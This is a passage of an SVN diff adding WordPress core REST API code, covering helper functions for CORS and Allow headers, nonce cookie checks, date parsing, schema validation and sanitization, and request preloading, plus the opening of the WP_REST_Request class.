+ *
+ * @param string $function    The function that was called.
+ * @param string $message     A message regarding the change.
+ * @param string $version     Version.
+ */
+function rest_handle_deprecated_argument( $function, $message, $version ) {
+	if ( ! WP_DEBUG || headers_sent() ) {
+		return;
+	}
+	if ( ! empty( $message ) ) {
+		/* translators: 1: function name, 2: WordPress version number, 3: error message */
+		$string = sprintf( __( '%1$s (since %2$s; %3$s)' ), $function, $version, $message );
+	} else {
+		/* translators: 1: function name, 2: WordPress version number */
+		$string = sprintf( __( '%1$s (since %2$s; no alternative available)' ), $function, $version );
+	}
+
+	header( sprintf( 'X-WP-DeprecatedParam: %s', $string ) );
+}
+
+/**
+ * Sends Cross-Origin Resource Sharing headers with API requests.
+ *
+ * @since 4.4.0
+ *
+ * @param mixed $value Response data.
+ * @return mixed Response data.
+ */
+function rest_send_cors_headers( $value ) {
+	$origin = get_http_origin();
+
+	if ( $origin ) {
+		// Requests from file:// and data: URLs send "Origin: null"
+		if ( 'null' !== $origin ) {
+			$origin = esc_url_raw( $origin );
+		}
+		header( 'Access-Control-Allow-Origin: ' . $origin );
+		header( 'Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE' );
+		header( 'Access-Control-Allow-Credentials: true' );
+		header( 'Vary: Origin', false );
+	} elseif ( ! headers_sent() && 'GET' === $_SERVER['REQUEST_METHOD'] && ! is_user_logged_in() ) {
+		header( 'Vary: Origin', false );
+	}
+
+	return $value;
+}
+
+/**
+ * Handles OPTIONS requests for the server.
+ *
+ * This is handled outside of the server code, as it doesn't obey normal route
+ * mapping.
+ *
+ * @since 4.4.0
+ *
+ * @param mixed           $response Current response, either response or `null` to indicate pass-through.
+ * @param WP_REST_Server  $handler  ResponseHandler instance (usually WP_REST_Server).
+ * @param WP_REST_Request $request  The request that was used to make current response.
+ * @return WP_REST_Response Modified response, either response or `null` to indicate pass-through.
+ */
+function rest_handle_options_request( $response, $handler, $request ) {
+	if ( ! empty( $response ) || $request->get_method() !== 'OPTIONS' ) {
+		return $response;
+	}
+
+	$response = new WP_REST_Response();
+	$data = array();
+
+	foreach ( $handler->get_routes() as $route => $endpoints ) {
+		$match = preg_match( '@^' . $route . '$@i', $request->get_route() );
+
+		if ( ! $match ) {
+			continue;
+		}
+
+		$data = $handler->get_data_for_route( $route, $endpoints, 'help' );
+		$response->set_matched_route( $route );
+		break;
+	}
+
+	$response->set_data( $data );
+	return $response;
+}
+
+/**
+ * Sends the "Allow" header to state all methods that can be sent to the current route.
+ *
+ * @since 4.4.0
+ *
+ * @param WP_REST_Response $response Current response being served.
+ * @param WP_REST_Server   $server   ResponseHandler instance (usually WP_REST_Server).
+ * @param WP_REST_Request  $request  The request that was used to make current response.
+ * @return WP_REST_Response Response to be served, with "Allow" header if route has allowed methods.
+ */
+function rest_send_allow_header( $response, $server, $request ) {
+	$matched_route = $response->get_matched_route();
+
+	if ( ! $matched_route ) {
+		return $response;
+	}
+
+	$routes = $server->get_routes();
+
+	$allowed_methods = array();
+
+	// Get the allowed methods across the routes.
+	foreach ( $routes[ $matched_route ] as $_handler ) {
+		foreach ( $_handler['methods'] as $handler_method => $value ) {
+
+			if ( ! empty( $_handler['permission_callback'] ) ) {
+
+				$permission = call_user_func( $_handler['permission_callback'], $request );
+
+				$allowed_methods[ $handler_method ] = true === $permission;
+			} else {
+				$allowed_methods[ $handler_method ] = true;
+			}
+		}
+	}
+
+	// Strip out all the methods that are not allowed (false values).
+	$allowed_methods = array_filter( $allowed_methods );
+
+	if ( $allowed_methods ) {
+		$response->header( 'Allow', implode( ', ', array_map( 'strtoupper', array_keys( $allowed_methods ) ) ) );
+	}
+
+	return $response;
+}
+
+/**
+ * Filter the API response to include only a white-listed set of response object fields.
+ *
+ * @since 4.8.0
+ *
+ * @param WP_REST_Response $response Current response being served.
+ * @param WP_REST_Server   $server   ResponseHandler instance (usually WP_REST_Server).
+ * @param WP_REST_Request  $request  The request that was used to make current response.
+ *
+ * @return WP_REST_Response Response to be served, trimmed down to contain a subset of fields.
+ */
+function rest_filter_response_fields( $response, $server, $request ) {
+	if ( ! isset( $request['_fields'] ) || $response->is_error() ) {
+		return $response;
+	}
+
+	$data = $response->get_data();
+
+	$fields = is_array( $request['_fields']  ) ? $request['_fields'] : preg_split( '/[\s,]+/', $request['_fields'] );
+
+	if ( 0 === count( $fields ) ) {
+		return $response;
+	}
+
+	// Trim off outside whitespace from the comma delimited list.
+	$fields = array_map( 'trim', $fields );
+
+	$fields_as_keyed = array_combine( $fields, array_fill( 0, count( $fields ), true ) );
+
+	if ( wp_is_numeric_array( $data ) ) {
+		$new_data = array();
+		foreach ( $data as $item ) {
+			$new_data[] = array_intersect_key( $item, $fields_as_keyed );
+		}
+	} else {
+		$new_data = array_intersect_key( $data, $fields_as_keyed );
+	}
+
+	$response->set_data( $new_data );
+
+	return $response;
+}
+
+/**
+ * Adds the REST API URL to the WP RSD endpoint.
+ *
+ * @since 4.4.0
+ *
+ * @see get_rest_url()
+ */
+function rest_output_rsd() {
+	$api_root = get_rest_url();
+
+	if ( empty( $api_root ) ) {
+		return;
+	}
+	?>
+	<api name="WP-API" blogID="1" preferred="false" apiLink="<?php echo esc_url( $api_root ); ?>" />
+	<?php
+}
+
+/**
+ * Outputs the REST API link tag into page header.
+ *
+ * @since 4.4.0
+ *
+ * @see get_rest_url()
+ */
+function rest_output_link_wp_head() {
+	$api_root = get_rest_url();
+
+	if ( empty( $api_root ) ) {
+		return;
+	}
+
+	echo "<link rel='https://api.w.org/' href='" . esc_url( $api_root ) . "' />\n";
+}
+
+/**
+ * Sends a Link header for the REST API.
+ *
+ * @since 4.4.0
+ */
+function rest_output_link_header() {
+	if ( headers_sent() ) {
+		return;
+	}
+
+	$api_root = get_rest_url();
+
+	if ( empty( $api_root ) ) {
+		return;
+	}
+
+	header( 'Link: <' . esc_url_raw( $api_root ) . '>; rel="https://api.w.org/"', false );
+}
+
+/**
+ * Checks for errors when using cookie-based authentication.
+ *
+ * WordPress' built-in cookie authentication is always active
+ * for logged in users. However, the API has to check nonces
+ * for each request to ensure users are not vulnerable to CSRF.
+ *
+ * @since 4.4.0
+ *
+ * @global mixed          $wp_rest_auth_cookie
+ *
+ * @param WP_Error|mixed $result Error from another authentication handler,
+ *                               null if we should handle it, or another value
+ *                               if not.
+ * @return WP_Error|mixed|bool WP_Error if the cookie is invalid, the $result, otherwise true.
+ */
+function rest_cookie_check_errors( $result ) {
+	if ( ! empty( $result ) ) {
+		return $result;
+	}
+
+	global $wp_rest_auth_cookie;
+
+	/*
+	 * Is cookie authentication being used? (If we get an auth
+	 * error, but we're still logged in, another authentication
+	 * must have been used).
+	 */
+	if ( true !== $wp_rest_auth_cookie && is_user_logged_in() ) {
+		return $result;
+	}
+
+	// Determine if there is a nonce.
+	$nonce = null;
+
+	if ( isset( $_REQUEST['_wpnonce'] ) ) {
+		$nonce = $_REQUEST['_wpnonce'];
+	} elseif ( isset( $_SERVER['HTTP_X_WP_NONCE'] ) ) {
+		$nonce = $_SERVER['HTTP_X_WP_NONCE'];
+	}
+
+	if ( null === $nonce ) {
+		// No nonce at all, so act as if it's an unauthenticated request.
+		wp_set_current_user( 0 );
+		return true;
+	}
+
+	// Check the nonce.
+	$result = wp_verify_nonce( $nonce, 'wp_rest' );
+
+	if ( ! $result ) {
+		add_filter( 'rest_send_nocache_headers', '__return_true', 20 );
+		return new WP_Error( 'rest_cookie_invalid_nonce', __( 'Cookie nonce is invalid' ), array( 'status' => 403 ) );
+	}
+
+	// Send a refreshed nonce in header.
+	rest_get_server()->send_header( 'X-WP-Nonce', wp_create_nonce( 'wp_rest' ) );
+
+	return true;
+}
+
+/**
+ * Collects cookie authentication status.
+ *
+ * Collects errors from wp_validate_auth_cookie for use by rest_cookie_check_errors.
+ *
+ * @since 4.4.0
+ *
+ * @see current_action()
+ * @global mixed $wp_rest_auth_cookie
+ */
+function rest_cookie_collect_status() {
+	global $wp_rest_auth_cookie;
+
+	$status_type = current_action();
+
+	if ( 'auth_cookie_valid' !== $status_type ) {
+		$wp_rest_auth_cookie = substr( $status_type, 12 );
+		return;
+	}
+
+	$wp_rest_auth_cookie = true;
+}
+
+/**
+ * Parses an RFC3339 time into a Unix timestamp.
+ *
+ * @since 4.4.0
+ *
+ * @param string $date      RFC3339 timestamp.
+ * @param bool   $force_utc Optional. Whether to force UTC timezone instead of using
+ *                          the timestamp's timezone. Default false.
+ * @return int Unix timestamp.
+ */
+function rest_parse_date( $date, $force_utc = false ) {
+	if ( $force_utc ) {
+		$date = preg_replace( '/[+-]\d+:?\d+$/', '+00:00', $date );
+	}
+
+	$regex = '#^\d{4}-\d{2}-\d{2}[Tt ]\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}(?::\d{2})?)?$#';
+
+	if ( ! preg_match( $regex, $date, $matches ) ) {
+		return false;
+	}
+
+	return strtotime( $date );
+}
+
+/**
+ * Parses a date into both its local and UTC equivalent, in MySQL datetime format.
+ *
+ * @since 4.4.0
+ *
+ * @see rest_parse_date()
+ *
+ * @param string $date   RFC3339 timestamp.
+ * @param bool   $is_utc Whether the provided date should be interpreted as UTC. Default false.
+ * @return array|null Local and UTC datetime strings, in MySQL datetime format (Y-m-d H:i:s),
+ *                    null on failure.
+ */
+function rest_get_date_with_gmt( $date, $is_utc = false ) {
+	// Whether or not the original date actually has a timezone string
+	// changes the way we need to do timezone conversion.  Store this info
+	// before parsing the date, and use it later.
+	$has_timezone = preg_match( '#(Z|[+-]\d{2}(:\d{2})?)$#', $date );
+
+	$date = rest_parse_date( $date );
+
+	if ( empty( $date ) ) {
+		return null;
+	}
+
+	// At this point $date could either be a local date (if we were passed a
+	// *local* date without a timezone offset) or a UTC date (otherwise).
+	// Timezone conversion needs to be handled differently between these two
+	// cases.
+	if ( ! $is_utc && ! $has_timezone ) {
+		$local = date( 'Y-m-d H:i:s', $date );
+		$utc = get_gmt_from_date( $local );
+	} else {
+		$utc = date( 'Y-m-d H:i:s', $date );
+		$local = get_date_from_gmt( $utc );
+	}
+
+	return array( $local, $utc );
+}
+
+/**
+ * Returns a contextual HTTP error code for authorization failure.
+ *
+ * @since 4.7.0
+ *
+ * @return integer 401 if the user is not logged in, 403 if the user is logged in.
+ */
+function rest_authorization_required_code() {
+	return is_user_logged_in() ? 403 : 401;
+}
+
+/**
+ * Validate a request argument based on details registered to the route.
+ *
+ * @since 4.7.0
+ *
+ * @param  mixed            $value
+ * @param  WP_REST_Request  $request
+ * @param  string           $param
+ * @return WP_Error|boolean
+ */
+function rest_validate_request_arg( $value, $request, $param ) {
+	$attributes = $request->get_attributes();
+	if ( ! isset( $attributes['args'][ $param ] ) || ! is_array( $attributes['args'][ $param ] ) ) {
+		return true;
+	}
+	$args = $attributes['args'][ $param ];
+
+	return rest_validate_value_from_schema( $value, $args, $param );
+}
+
+/**
+ * Sanitize a request argument based on details registered to the route.
+ *
+ * @since 4.7.0
+ *
+ * @param  mixed            $value
+ * @param  WP_REST_Request  $request
+ * @param  string           $param
+ * @return mixed
+ */
+function rest_sanitize_request_arg( $value, $request, $param ) {
+	$attributes = $request->get_attributes();
+	if ( ! isset( $attributes['args'][ $param ] ) || ! is_array( $attributes['args'][ $param ] ) ) {
+		return $value;
+	}
+	$args = $attributes['args'][ $param ];
+
+	return rest_sanitize_value_from_schema( $value, $args );
+}
+
+/**
+ * Parse a request argument based on details registered to the route.
+ *
+ * Runs a validation check and sanitizes the value, primarily to be used via
+ * the `sanitize_callback` arguments in the endpoint args registration.
+ *
+ * @since 4.7.0
+ *
+ * @param  mixed            $value
+ * @param  WP_REST_Request  $request
+ * @param  string           $param
+ * @return mixed
+ */
+function rest_parse_request_arg( $value, $request, $param ) {
+	$is_valid = rest_validate_request_arg( $value, $request, $param );
+
+	if ( is_wp_error( $is_valid ) ) {
+		return $is_valid;
+	}
+
+	$value = rest_sanitize_request_arg( $value, $request, $param );
+
+	return $value;
+}
+
+/**
+ * Determines if an IP address is valid.
+ *
+ * Handles both IPv4 and IPv6 addresses.
+ *
+ * @since 4.7.0
+ *
+ * @param  string $ip IP address.
+ * @return string|false The valid IP address, otherwise false.
+ */
+function rest_is_ip_address( $ip ) {
+	$ipv4_pattern = '/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/';
+
+	if ( ! preg_match( $ipv4_pattern, $ip ) && ! Requests_IPv6::check_ipv6( $ip ) ) {
+		return false;
+	}
+
+	return $ip;
+}
+
+/**
+ * Changes a boolean-like value into the proper boolean value.
+ *
+ * @since 4.7.0
+ *
+ * @param bool|string|int $value The value being evaluated.
+ * @return boolean Returns the proper associated boolean value.
+ */
+function rest_sanitize_boolean( $value ) {
+	// String values are translated to `true`; make sure 'false' is false.
+	if ( is_string( $value )  ) {
+		$value = strtolower( $value );
+		if ( in_array( $value, array( 'false', '0' ), true ) ) {
+			$value = false;
+		}
+	}
+
+	// Everything else will map nicely to boolean.
+	return (boolean) $value;
+}
+
+/**
+ * Determines if a given value is boolean-like.
+ *
+ * @since 4.7.0
+ *
+ * @param bool|string $maybe_bool The value being evaluated.
+ * @return boolean True if a boolean, otherwise false.
+ */
+function rest_is_boolean( $maybe_bool ) {
+	if ( is_bool( $maybe_bool ) ) {
+		return true;
+	}
+
+	if ( is_string( $maybe_bool ) ) {
+		$maybe_bool = strtolower( $maybe_bool );
+
+		$valid_boolean_values = array(
+			'false',
+			'true',
+			'0',
+			'1',
+		);
+
+		return in_array( $maybe_bool, $valid_boolean_values, true );
+	}
+
+	if ( is_int( $maybe_bool ) ) {
+		return in_array( $maybe_bool, array( 0, 1 ), true );
+	}
+
+	return false;
+}
+
+/**
+ * Retrieves the avatar urls in various sizes based on a given email address.
+ *
+ * @since 4.7.0
+ *
+ * @see get_avatar_url()
+ *
+ * @param string $email Email address.
+ * @return array $urls Gravatar url for each size.
+ */
+function rest_get_avatar_urls( $email ) {
+	$avatar_sizes = rest_get_avatar_sizes();
+
+	$urls = array();
+	foreach ( $avatar_sizes as $size ) {
+		$urls[ $size ] = get_avatar_url( $email, array( 'size' => $size ) );
+	}
+
+	return $urls;
+}
+
+/**
+ * Retrieves the pixel sizes for avatars.
+ *
+ * @since 4.7.0
+ *
+ * @return array List of pixel sizes for avatars. Default `[ 24, 48, 96 ]`.
+ */
+function rest_get_avatar_sizes() {
+	/**
+	 * Filters the REST avatar sizes.
+	 *
+	 * Use this filter to adjust the array of sizes returned by the
+	 * `rest_get_avatar_sizes` function.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $sizes An array of int values that are the pixel sizes for avatars.
+	 *                     Default `[ 24, 48, 96 ]`.
+	 */
+	return apply_filters( 'rest_avatar_sizes', array( 24, 48, 96 ) );
+}
+
+/**
+ * Validate a value based on a schema.
+ *
+ * @since 4.7.0
+ *
+ * @param mixed  $value The value to validate.
+ * @param array  $args  Schema array to use for validation.
+ * @param string $param The parameter name, used in error messages.
+ * @return true|WP_Error
+ */
+function rest_validate_value_from_schema( $value, $args, $param = '' ) {
+	if ( 'array' === $args['type'] ) {
+		if ( ! is_array( $value ) ) {
+			$value = preg_split( '/[\s,]+/', $value );
+		}
+		if ( ! wp_is_numeric_array( $value ) ) {
+			/* translators: 1: parameter, 2: type name */
+			return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not of type %2$s.' ), $param, 'array' ) );
+		}
+		foreach ( $value as $index => $v ) {
+			$is_valid = rest_validate_value_from_schema( $v, $args['items'], $param . '[' . $index . ']' );
+			if ( is_wp_error( $is_valid ) ) {
+				return $is_valid;
+			}
+		}
+	}
+
+	if ( 'object' === $args['type'] ) {
+		if ( $value instanceof stdClass ) {
+			$value = (array) $value;
+		}
+		if ( ! is_array( $value ) ) {
+			/* translators: 1: parameter, 2: type name */
+			return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not of type %2$s.' ), $param, 'object' ) );
+		}
+
+		foreach ( $value as $property => $v ) {
+			if ( isset( $args['properties'][ $property ] ) ) {
+				$is_valid = rest_validate_value_from_schema( $v, $args['properties'][ $property ], $param . '[' . $property . ']' );
+				if ( is_wp_error( $is_valid ) ) {
+					return $is_valid;
+				}
+			} elseif ( isset( $args['additionalProperties'] ) && false === $args['additionalProperties'] ) {
+				return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not a valid property of Object.' ), $property ) );
+			}
+		}
+	}
+
+	if ( ! empty( $args['enum'] ) ) {
+		if ( ! in_array( $value, $args['enum'], true ) ) {
+			/* translators: 1: parameter, 2: list of valid values */
+			return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not one of %2$s.' ), $param, implode( ', ', $args['enum'] ) ) );
+		}
+	}
+
+	if ( in_array( $args['type'], array( 'integer', 'number' ) ) && ! is_numeric( $value ) ) {
+		/* translators: 1: parameter, 2: type name */
+		return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not of type %2$s.' ), $param, $args['type'] ) );
+	}
+
+	if ( 'integer' === $args['type'] && round( floatval( $value ) ) !== floatval( $value ) ) {
+		/* translators: 1: parameter, 2: type name */
+		return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not of type %2$s.' ), $param, 'integer' ) );
+	}
+
+	if ( 'boolean' === $args['type'] && ! rest_is_boolean( $value ) ) {
+		/* translators: 1: parameter, 2: type name */
+		return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not of type %2$s.' ), $value, 'boolean' ) );
+	}
+
+	if ( 'string' === $args['type'] && ! is_string( $value ) ) {
+		/* translators: 1: parameter, 2: type name */
+		return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s is not of type %2$s.' ), $param, 'string' ) );
+	}
+
+	if ( isset( $args['format'] ) ) {
+		switch ( $args['format'] ) {
+			case 'date-time' :
+				if ( ! rest_parse_date( $value ) ) {
+					return new WP_Error( 'rest_invalid_date', __( 'Invalid date.' ) );
+				}
+				break;
+
+			case 'email' :
+				if ( ! is_email( $value ) ) {
+					return new WP_Error( 'rest_invalid_email', __( 'Invalid email address.' ) );
+				}
+				break;
+			case 'ip' :
+				if ( ! rest_is_ip_address( $value ) ) {
+					/* translators: %s: IP address */
+					return new WP_Error( 'rest_invalid_param', sprintf( __( '%s is not a valid IP address.' ), $value ) );
+				}
+				break;
+		}
+	}
+
+	if ( in_array( $args['type'], array( 'number', 'integer' ), true ) && ( isset( $args['minimum'] ) || isset( $args['maximum'] ) ) ) {
+		if ( isset( $args['minimum'] ) && ! isset( $args['maximum'] ) ) {
+			if ( ! empty( $args['exclusiveMinimum'] ) && $value <= $args['minimum'] ) {
+				/* translators: 1: parameter, 2: minimum number */
+				return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be greater than %2$d' ), $param, $args['minimum'] ) );
+			} elseif ( empty( $args['exclusiveMinimum'] ) && $value < $args['minimum'] ) {
+				/* translators: 1: parameter, 2: minimum number */
+				return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be greater than or equal to %2$d' ), $param, $args['minimum'] ) );
+			}
+		} elseif ( isset( $args['maximum'] ) && ! isset( $args['minimum'] ) ) {
+			if ( ! empty( $args['exclusiveMaximum'] ) && $value >= $args['maximum'] ) {
+				/* translators: 1: parameter, 2: maximum number */
+				return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be less than %2$d' ), $param, $args['maximum'] ) );
+			} elseif ( empty( $args['exclusiveMaximum'] ) && $value > $args['maximum'] ) {
+				/* translators: 1: parameter, 2: maximum number */
+				return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be less than or equal to %2$d' ), $param, $args['maximum'] ) );
+			}
+		} elseif ( isset( $args['maximum'] ) && isset( $args['minimum'] ) ) {
+			if ( ! empty( $args['exclusiveMinimum'] ) && ! empty( $args['exclusiveMaximum'] ) ) {
+				if ( $value >= $args['maximum'] || $value <= $args['minimum'] ) {
+					/* translators: 1: parameter, 2: minimum number, 3: maximum number */
+					return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be between %2$d (exclusive) and %3$d (exclusive)' ), $param, $args['minimum'], $args['maximum'] ) );
+				}
+			} elseif ( empty( $args['exclusiveMinimum'] ) && ! empty( $args['exclusiveMaximum'] ) ) {
+				if ( $value >= $args['maximum'] || $value < $args['minimum'] ) {
+					/* translators: 1: parameter, 2: minimum number, 3: maximum number */
+					return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be between %2$d (inclusive) and %3$d (exclusive)' ), $param, $args['minimum'], $args['maximum'] ) );
+				}
+			} elseif ( ! empty( $args['exclusiveMinimum'] ) && empty( $args['exclusiveMaximum'] ) ) {
+				if ( $value > $args['maximum'] || $value <= $args['minimum'] ) {
+					/* translators: 1: parameter, 2: minimum number, 3: maximum number */
+					return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be between %2$d (exclusive) and %3$d (inclusive)' ), $param, $args['minimum'], $args['maximum'] ) );
+				}
+			} elseif ( empty( $args['exclusiveMinimum'] ) && empty( $args['exclusiveMaximum'] ) ) {
+				if ( $value > $args['maximum'] || $value < $args['minimum'] ) {
+					/* translators: 1: parameter, 2: minimum number, 3: maximum number */
+					return new WP_Error( 'rest_invalid_param', sprintf( __( '%1$s must be between %2$d (inclusive) and %3$d (inclusive)' ), $param, $args['minimum'], $args['maximum'] ) );
+				}
+			}
+		}
+	}
+
+	return true;
+}
+
+/**
+ * Sanitize a value based on a schema.
+ *
+ * @since 4.7.0
+ *
+ * @param mixed $value The value to sanitize.
+ * @param array $args  Schema array to use for sanitization.
+ * @return true|WP_Error
+ */
+function rest_sanitize_value_from_schema( $value, $args ) {
+	if ( 'array' === $args['type'] ) {
+		if ( empty( $args['items'] ) ) {
+			return (array) $value;
+		}
+		if ( ! is_array( $value ) ) {
+			$value = preg_split( '/[\s,]+/', $value );
+		}
+		foreach ( $value as $index => $v ) {
+			$value[ $index ] = rest_sanitize_value_from_schema( $v, $args['items'] );
+		}
+		// Normalize to numeric array so nothing unexpected
+		// is in the keys.
+		$value = array_values( $value );
+		return $value;
+	}
+
+	if ( 'object' === $args['type'] ) {
+		if ( $value instanceof stdClass ) {
+			$value = (array) $value;
+		}
+		if ( ! is_array( $value ) ) {
+			return array();
+		}
+
+		foreach ( $value as $property => $v ) {
+			if ( isset( $args['properties'][ $property ] ) ) {
+				$value[ $property ] = rest_sanitize_value_from_schema( $v, $args['properties'][ $property ] );
+			} elseif ( isset( $args['additionalProperties'] ) && false === $args['additionalProperties'] ) {
+				unset( $value[ $property ] );
+			}
+		}
+
+		return $value;
+	}
+
+	if ( 'integer' === $args['type'] ) {
+		return (int) $value;
+	}
+
+	if ( 'number' === $args['type'] ) {
+		return (float) $value;
+	}
+
+	if ( 'boolean' === $args['type'] ) {
+		return rest_sanitize_boolean( $value );
+	}
+
+	if ( isset( $args['format'] ) ) {
+		switch ( $args['format'] ) {
+			case 'date-time' :
+				return sanitize_text_field( $value );
+
+			case 'email' :
+				/*
+				 * sanitize_email() validates, which would be unexpected.
+				 */
+				return sanitize_text_field( $value );
+
+			case 'uri' :
+				return esc_url_raw( $value );
+
+			case 'ip' :
+				return sanitize_text_field( $value );
+		}
+	}
+
+	if ( 'string' === $args['type'] ) {
+		return strval( $value );
+	}
+
+	return $value;
+}
+
+/**
+ * Append result of internal request to REST API for purpose of preloading data to be attached to a page.
+ * Expected to be called in the context of `array_reduce`.
+ *
+ * @since 5.0.0
+ *
+ * @param  array  $memo Reduce accumulator.
+ * @param  string $path REST API path to preload.
+ * @return array        Modified reduce accumulator.
+ */
+function rest_preload_api_request( $memo, $path ) {
+	// array_reduce() doesn't support passing an array in PHP 5.2, so we need to make sure we start with one.
+	if ( ! is_array( $memo ) ) {
+		$memo = array();
+	}
+
+	if ( empty( $path ) ) {
+		return $memo;
+	}
+
+	$method = 'GET';
+	if ( is_array( $path ) && 2 === count( $path ) ) {
+		$method = end( $path );
+		$path   = reset( $path );
+
+		if ( ! in_array( $method, array( 'GET', 'OPTIONS' ), true ) ) {
+			$method = 'GET';
+		}
+	}
+
+	$path_parts = parse_url( $path );
+	if ( false === $path_parts ) {
+		return $memo;
+	}
+
+	$request = new WP_REST_Request( $method, $path_parts['path'] );
+	if ( ! empty( $path_parts['query'] ) ) {
+		parse_str( $path_parts['query'], $query_params );
+		$request->set_query_params( $query_params );
+	}
+
+	$response = rest_do_request( $request );
+	if ( 200 === $response->status ) {
+		$server = rest_get_server();
+		$data   = (array) $response->get_data();
+		$links  = $server->get_compact_response_links( $response );
+		if ( ! empty( $links ) ) {
+			$data['_links'] = $links;
+		}
+
+		if ( 'OPTIONS' === $method ) {
+			$response = rest_send_allow_header( $response, $server, $request );
+
+			$memo[ $method ][ $path ] = array(
+				'body'    => $data,
+				'headers' => $response->headers,
+			);
+		} else {
+			$memo[ $path ] = array(
+				'body'    => $data,
+				'headers' => $response->headers,
+			);
+		}
+	}
+
+	return $memo;
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/class-wp-rest-request.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/class-wp-rest-request.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/class-wp-rest-request.php	(revision 56912)
@@ -0,0 +1,983 @@
+<?php
+/**
+ * REST API: WP_REST_Request class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a REST request object.
+ *
+ * Contains data from the request, to be passed to the callback.
+ *
+ * Note: This implements ArrayAccess, and acts as an array of parameters when
+ * used in that manner. It does not use ArrayObject (as we cannot rely on SPL),
+ * so be aware it may have non-array behaviour in some cases.
+ *
+ * Note: When using features provided by ArrayAccess, be aware that WordPress deliberately
+ * does not distinguish between arguments of the same name for different request methods.
+ * For instance, in a request with `GET id=1` and `POST id=2`, `$request['id']` will equal
+ * 2 (`POST`) not 1 (`GET`). For more precision between request methods, use
+ * WP_REST_Request::get_body_params(), WP_REST_Request::get_url_params(), etc.
+ *
+ * @since 4.4.0
+ *
+ * @see ArrayAccess
+ */
+class WP_REST_Request implements ArrayAccess {
+
+	/**
+	 * HTTP method.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	protected $method = '';
+
+	/**
+	 * Parameters passed to the request.
+	 *
+	 * These typically come from the `$_GET`, `$_POST` and `$_FILES`
+	 * superglobals when being created from the global scope.
+	 *
+	 * @since 4.4.0
+	 * @var array Contains GET, POST and FILES keys mapping to arrays of data.
+	 */
+	protected $params;
+
+	/**
+	 * HTTP headers for the request.
+	 *
+	 * @since 4.4.0
+	 * @var array Map of key to value. Key is always lowercase, as per HTTP specification.
+	 */
+	protected $headers = array();
+
+	/**
+	 * Body data.
+	 *
+	 * @since 4.4.0
+	 * @var string Binary data from the request.
+	 */
+	protected $body = null;
+
+	/**
+	 * Route matched for the request.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	protected $route;
+
+	/**
+	 * Attributes (options) for the route that was matched.
+	 *
+	 * This is the options array used when the route was registered, typically
+	 * containing the callback as well as the valid methods for the route.
+	 *
+	 * @since 4.4.0
+	 * @var array Attributes for the request.
+	 */
+	protected $attributes = array();
+
+	/**
+	 * Used to determine if the JSON data has been parsed yet.
+	 *
+	 * Allows lazy-parsing of JSON data where possible.
+	 *
+	 * @since 4.4.0
+	 * @var bool
+	 */
+	protected $parsed_json = false;
+
+	/**
+	 * Used to determine if the body data has been parsed yet.
+	 *
+	 * @since 4.4.0
+	 * @var bool
+	 */
+	protected $parsed_body = false;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $method     Optional. Request method. Default empty.
+	 * @param string $route      Optional. Request route. Default empty.
+	 * @param array  $attributes Optional. Request attributes. Default empty array.
+	 */
+	public function __construct( $method = '', $route = '', $attributes = array() ) {
+		$this->params = array(
+			'URL'   => array(),
+			'GET'   => array(),
+			'POST'  => array(),
+			'FILES' => array(),
+
+			// See parse_json_params.
+			'JSON'  => null,
+
+			'defaults' => array(),
+		);
+
+		$this->set_method( $method );
+		$this->set_route( $route );
+		$this->set_attributes( $attributes );
+	}
+
+	/**
+	 * Retrieves the HTTP method for the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return string HTTP method.
+	 */
+	public function get_method() {
+		return $this->method;
+	}
+
+	/**
+	 * Sets HTTP method for the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $method HTTP method.
+	 */
+	public function set_method( $method ) {
+		$this->method = strtoupper( $method );
+	}
+
+	/**
+	 * Retrieves all headers from the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Map of key to value. Key is always lowercase, as per HTTP specification.
+	 */
+	public function get_headers() {
+		return $this->headers;
+	}
+
+	/**
+	 * Canonicalizes the header name.
+	 *
+	 * Ensures that header names are always treated the same regardless of
+	 * source. Header names are always case insensitive.
+	 *
+	 * Note that we treat `-` (dashes) and `_` (underscores) as the same
+	 * character, as per header parsing rules in both Apache and nginx.
+	 *
+	 * @link https://stackoverflow.com/q/18185366
+	 * @link https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#missing-disappearing-http-headers
+	 * @link https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers
+	 *
+	 * @since 4.4.0
+	 * @static
+	 *
+	 * @param string $key Header name.
+	 * @return string Canonicalized name.
+	 */
+	public static function canonicalize_header_name( $key ) {
+		$key = strtolower( $key );
+		$key = str_replace( '-', '_', $key );
+
+		return $key;
+	}
+
+	/**
+	 * Retrieves the given header from the request.
+	 *
+	 * If the header has multiple values, they will be concatenated with a comma
+	 * as per the HTTP specification. Be aware that some non-compliant headers
+	 * (notably cookie headers) cannot be joined this way.
+	 *
